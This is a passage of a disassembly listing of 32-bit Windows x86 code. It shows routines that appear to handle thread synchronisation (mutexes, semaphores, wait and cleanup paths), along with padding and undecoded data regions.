call edi ; dword_50FA64
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_42F91A: ; CODE XREF: sub_42F840+D0j
lea eax, [esi+0Ch]
push eax
call sub_401686
add esp, 4
test eax, eax
jz short loc_42F932
call edi ; dword_50FA64
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_42F932: ; CODE XREF: sub_42F840+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42F94C
push ebp
call sub_40222F
add esp, 4
mov ebx, eax
loc_42F94C: ; CODE XREF: sub_42F840+FFj
cmp dword_50E3E0, esi
jnz short loc_42F95F
mov edx, [esi+18h]
mov dword_50E3E0, edx
jmp short loc_42F968
; ---------------------------------------------------------------------------
loc_42F95F: ; CODE XREF: sub_42F840+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_42F968: ; CODE XREF: sub_42F840+11Dj
cmp dword_50E3E4, esi
jnz short loc_42F97B
mov edx, [esi+1Ch]
mov dword_50E3E4, edx
jmp short loc_42F984
; ---------------------------------------------------------------------------
loc_42F97B: ; CODE XREF: sub_42F840+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_42F984: ; CODE XREF: sub_42F840+139j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_42F98E: ; CODE XREF: sub_42F840+B4j
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_42F9D2
; ---------------------------------------------------------------------------
loc_42F9A3: ; CODE XREF: sub_42F840+28j
push offset dword_50E920
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42F9BB
mov dword ptr [edi], 0
jmp short loc_42F9C7
; ---------------------------------------------------------------------------
loc_42F9BB: ; CODE XREF: sub_42F840+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_42F9C7: ; CODE XREF: sub_42F840+179j
push offset dword_50E920
call near ptr 7C9010EDh
nop
loc_42F9D2: ; CODE XREF: sub_42F840+161j
test esi, esi
jz short loc_42F9DE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9DE: ; CODE XREF: sub_42F840+194j
test ebp, ebp
mov eax, ebp
jnz short loc_42F9F1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9EC: ; CODE XREF: sub_42F840+15j
; sub_42F840+1Fj
mov eax, 16h
loc_42F9F1: ; CODE XREF: sub_42F840+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F840 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FA70 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FA70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp
; sub_42FD70+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_42FBA9
mov eax, [esi]
test eax, eax
jz loc_42FBA9
cmp eax, 0FFFFFFFFh
jnz short loc_42FAE2
push esi
call sub_401B4F
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_42FAE2
cmp eax, 10h
jnz loc_42FBAE
loc_42FAE2: ; CODE XREF: sub_42FAA0+26j
; sub_42FAA0+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FB02
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB02: ; CODE XREF: sub_42FAA0+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FB22
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB22: ; CODE XREF: sub_42FAA0+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_42FC10
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401659
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42FBA9: ; CODE XREF: sub_42FAA0+13j
; sub_42FAA0+1Dj
mov eax, 16h
loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_42FAA0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FC10: ; DATA XREF: sub_42FAA0+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FC3B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC3B: ; CODE XREF: ___:0042FC31j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_42FC4E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_42FCB7
; ---------------------------------------------------------------------------
loc_42FC4E: ; CODE XREF: ___:0042FC44j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_42FCB7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FC82
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC82: ; CODE XREF: ___:0042FC6Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCAC
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCAC: ; CODE XREF: ___:0042FC96j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_42FCB7: ; CODE XREF: ___:0042FC4Cj
; ___:0042FC5Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_42FCD0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCD0: ; CODE XREF: ___:0042FCC2j
cmp ebx, 1
jnz short loc_42FCF9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCF9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCF9: ; CODE XREF: ___:0042FCD3j
; ___:0042FCE3j
mov ecx, [ebp+0]
push ecx
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FD0F
mov edx, [esp+18h]
mov [edx], eax
loc_42FD0F: ; CODE XREF: ___:0042FD07j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD70 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_42FD7E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FD7E: ; CODE XREF: sub_42FD70+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FD70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDB0 proc near ; CODE XREF: sub_401E51j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FDB0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p
; sub_42FF30+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_42FED4
mov esi, [eax]
test esi, esi
jz loc_42FED4
cmp esi, 0FFFFFFFFh
jnz short loc_42FDF4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402225
add esp, 4
test eax, eax
jnz loc_42FED9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_42FE44
test eax, eax
jnz short loc_42FE22
loc_42FE15: ; CODE XREF: sub_42FDD0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE22: ; CODE XREF: sub_42FDD0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_42FE39
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE39: ; CODE XREF: sub_42FDD0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_42FEA3
; ---------------------------------------------------------------------------
loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj
cmp eax, [esi+4]
jle short loc_42FE15
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FE70
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE70: ; CODE XREF: sub_42FDD0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_42FE84
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_42FE84: ; CODE XREF: sub_42FDD0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_42FE99
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE99: ; CODE XREF: sub_42FDD0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_42FEA3: ; CODE XREF: sub_42FDD0+72j
dec eax
mov [esi], eax
loc_42FEA6: ; CODE XREF: sub_42FDD0+67j
; sub_42FDD0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42FECE
add esi, 0Ch
push edi
push esi
call sub_40204A
add esp, 8
test eax, eax
jz short loc_42FECE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_42FECE: ; CODE XREF: sub_42FDD0+E3j
; sub_42FDD0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FED4: ; CODE XREF: sub_42FDD0+9j
; sub_42FDD0+13j
mov eax, 16h
loc_42FED9: ; CODE XREF: sub_42FDD0+32j
pop edi
pop esi
pop ebx
retn
sub_42FDD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF30 proc near ; CODE XREF: sub_401604j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FF30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF50 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B13
mov esi, eax
test esi, esi
jz loc_430026
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_430026
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_42FFCE
mov eax, [ebp+0]
test eax, eax
jz short loc_42FFCE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_42FFD0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_42FFD0
; ---------------------------------------------------------------------------
loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj
; sub_42FF50+54j
xor edi, edi
loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej
; sub_42FF50+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401B95
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
nop
call near ptr 77C3A3DBh
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_430019
test ebp, ebp
jz short loc_430012
cmp dword ptr [ebp+0], 0
jz short loc_430012
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020B3
add esp, 0Ch
loc_430012: ; CODE XREF: sub_42FF50+AAj
; sub_42FF50+B0j
push edi
nop
call near ptr 2770000h
loc_430019: ; CODE XREF: sub_42FF50+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_430059
loc_430026: ; CODE XREF: sub_42FF50+14j
; sub_42FF50+30j
push esi
call sub_4017AD
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43004C
push ebx
nop
call near ptr 77C2C21Bh
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43004C: ; CODE XREF: sub_42FF50+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430059: ; CODE XREF: sub_42FF50+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_42FF50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4300C0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4300F7 ; default
jmp off_4300FC[ecx*4] ; switch jump
loc_4300D5: ; DATA XREF: ___:off_4300FCo
call sub_401708 ; jumptable 004300CE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300DD: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017B2 ; jumptable 004300CE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300E5: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300ED: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 0
call sub_40161D
locret_4300F7: ; CODE XREF: ___:004300CCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr
dd offset loc_4300D5 ; jump table for switch statement
dd offset loc_4300DD
dd offset loc_4300E5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430130: ; CODE XREF: ___:004017B7j
mov eax, dword_50E3D8
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h
dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430180 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_50E8E0
xor esi, esi
call near ptr 7C901005h
nop
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_4301AB
mov eax, [eax+4]
test eax, eax
jz short loc_4301AB
push eax
nop
call near ptr 27605C1h
cmp eax, 7FFFFFFFh
jnz short loc_4301B0
loc_4301AB: ; CODE XREF: sub_430180+14j
; sub_430180+1Bj
mov esi, 3
loc_4301B0: ; CODE XREF: sub_430180+29j
push offset dword_50E8E0
nop
call near ptr 7C9010EDh
test esi, esi
jnz short loc_4301CC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4301CE
loc_4301CC: ; CODE XREF: sub_430180+3Dj
mov eax, esi
loc_4301CE: ; CODE XREF: sub_430180+4Aj
pop esi
retn
sub_430180 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301F0: ; CODE XREF: ___:0040164Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_430241
mov edi, [esp+14h]
test edi, edi
jz short loc_430241
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_430221
lea eax, [esi+4]
push eax
call near ptr 2760533h
nop
test eax, eax
jnz short loc_430227
call edi ; _errno
mov dword ptr [esi], 1
loc_430221: ; CODE XREF: ___:00430209j
; ___:0043022Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430227: ; CODE XREF: ___:00430217j
cmp dword ptr [esi], 0
jnz short loc_430221
mov edi, dword_50F8D0
loc_430232: ; CODE XREF: ___:00430239j
push 0
call edi ; dword_50F8D0
cmp dword ptr [esi], 0
jz short loc_430232
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430241: ; CODE XREF: ___:004301F9j
; ___:00430201j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430270 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_50E3D8
push esi
push edi
push eax
call sub_401190
sub_430270 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 23208F1h, 0F8701D8Bh
dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 7AE89050h
dd 50023508h, 9050D3FFh, 32FD33E8h, 5BC08502h, 0E8560E75h
dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 23302D9h
dd 28468990h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430340 proc near ; CODE XREF: sub_401A50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43035E
test eax, eax
jz short loc_430358
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43035E
loc_430358: ; CODE XREF: sub_430340+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43035E: ; CODE XREF: sub_430340+Aj
; sub_430340+16j
xor eax, eax
retn
sub_430340 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430380: ; CODE XREF: ___:00401FF0j
mov eax, [esp+4]
test eax, eax
jge short loc_43038E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43038E: ; CODE XREF: ___:00430386j
mov dword_50E3E8, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4303B0: ; CODE XREF: ___:0040155Aj
mov eax, dword_50E3E8
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4303D0 proc near ; CODE XREF: sub_401B13j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4303F2
push 84h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_430439
loc_4303F2: ; CODE XREF: sub_4303D0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
call near ptr 2750828h
nop
test eax, eax
mov [esi+38h], eax
jnz short loc_430439
push esi
call sub_401BBD
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430439: ; CODE XREF: sub_4303D0+20j
; sub_4303D0+5Aj
mov eax, esi
pop esi
retn
sub_4303D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430460 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_50E8E0
call near ptr 7C901005h
nop
mov esi, dword_44573C
cmp esi, 1
jz short loc_430495
mov eax, [esi+8]
push offset dword_50E8E0
mov dword_44573C, eax
mov dword ptr [esi+8], 0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430495: ; CODE XREF: sub_430460+15j
push offset dword_50E8E0
xor esi, esi
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4304D0 proc near ; CODE XREF: sub_401BBDj
arg_0 = dword ptr 4
push edi
push offset dword_50E8E0
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_44573C
push offset dword_50E8E0
mov [edx+8], eax
mov dword_44573C, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4304D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_430540
sub_430520 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430540 proc near ; CODE XREF: sub_430520+7p
; sub_430660+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_430540 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_430576
mov eax, [esi+30h]
test eax, eax
jnz short loc_43057E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43057E
mov edi, 2
jmp short loc_43057E
; ---------------------------------------------------------------------------
loc_430576: ; CODE XREF: ___:0043055Bj
mov dword ptr [esp+0Ch], 0
loc_43057E: ; CODE XREF: ___:00430562j
; ___:0043056Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 275067Dh
mov ecx, eax
sub ecx, 0
jz short loc_430609
dec ecx
jz short loc_4305B4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4305B4: ; CODE XREF: ___:00430599j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 27706B9h
test esi, esi
jz short loc_4305FE
lea edi, [esi+2Ch]
push edi
call sub_402225
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4305F5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4305F5: ; CODE XREF: ___:004305D9j
push edi
call sub_4010C3
add esp, 4
loc_4305FE: ; CODE XREF: ___:004305C1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_430609: ; CODE XREF: ___:00430596j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430660 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_430540
sub_430660 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430690 proc near ; CODE XREF: sub_401C03j
arg_0 = dword ptr 4
push esi
push offset dword_50E940
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4306C4
push esi
push ecx
call sub_402199
add esp, 8
mov esi, eax
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4306C4: ; CODE XREF: sub_430690+17j
test eax, eax
jnz short loc_4306CD
mov esi, 16h
loc_4306CD: ; CODE XREF: sub_430690+36j
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430690 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430700 proc near ; CODE XREF: sub_402199j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_430714
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430714: ; CODE XREF: sub_430700+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_43072F
mov eax, [edi]
test eax, eax
jz short loc_43072F
cmp dword ptr [eax], 1
jnz short loc_43072F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43072F: ; CODE XREF: sub_430700+1Aj
; sub_430700+20j ...
push esi
push 2Ch
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_430754
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430754: ; CODE XREF: sub_430700+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_430770
mov edi, [edi]
test edi, edi
jz short loc_430770
mov edi, [edi+4]
jmp short loc_430772
; ---------------------------------------------------------------------------
loc_430770: ; CODE XREF: sub_430700+63j
; sub_430700+69j
xor edi, edi
loc_430772: ; CODE XREF: sub_430700+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_4307AD
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
